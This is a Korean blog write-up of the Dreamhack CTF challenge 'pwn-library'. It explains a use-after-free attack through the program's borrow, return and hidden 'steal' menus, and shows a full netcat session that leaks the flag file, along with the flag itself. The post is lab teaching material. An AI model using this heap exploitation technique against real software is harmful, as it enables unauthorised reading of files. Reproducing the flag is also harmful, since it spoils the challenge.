콘텐츠로 건너뛰기

pwn-library (UAF)

Description

드림이가 오랜만에 도서관에 왔습니다! 원하는 책을 읽어볼까요?
플래그는 /home/pwnlibrary/flag.txt에 있습니다.

Solution

  1. malloc 함수를 통해 n바이트 크기의 메모리를 할당하고 free 하도록 만든다.
  2. 같은 크기의 n바이트를 다시 한번 malloc해서, 할당된 그 주소를 다시 한번 읽게 만든다.

pwn-library 바이너리를 통해 공격원리를 자세하게 설명해보자면,

  1. 메뉴 1번인 borrow_book으로, 256바이트가 할당되도록 1번 책인 theori theory를 고른다.
    steal_book 메뉴에서 malloc 할수 있는 크기가 400바이트 이내로 제한되어 있기 때문이다.
  2. 메뉴 3번인 return_book으로, 할당된 256바이트를 free하도록 만든다.
  3. 히든 메뉴 275번인 steal_book으로, flag를 가리키는 /home/pwnlibrary/flag.txt 로 fopen시키고 같은 바이트 크기를 할당되도록 pages에 256를 입력한다.
  4. 메뉴 2번인 read_book으로, 반납된 책을 읽으려고 시도해보면 flag가 출력된다.

Result

iotfragile@iotfragile:~/CTF/fho$ nc host3.dreamhack.games 24121

[*] Welcome to library!
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 1
[*] Welcome to borrow book menu!
1. theori theory
2. dreamhack theory
3. einstein theory
[+] what book do you want to borrow? : 1
book create complete!
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 3
[*] Welcome to return book menu!
[*] lastest book returned!
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 275
[*] Welcome to steal book menu!
[!] caution. it is illegal!
[+] whatever, where is the book? : /home/pwnlibrary/flag.txt
[*] how many pages?(MAX 400) : 256

[*] (Siren rangs) (Siren rangs)
[*] Oops.. cops take your book..
1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu : 2
[*] Welcome to read book menu!
0 : -----returned-----
[+] what book do you want to read? : 0
[*] book contents below [*]
DH{0fdbcef449355e5fb15f4a674724a3c8}


1. borrow book
2. read book
3. return book
4. exit library
[+] Select menu :

FLAG

DH{0fdbcef449355e5fb15f4a674724a3c8}

태그:

답글 남기기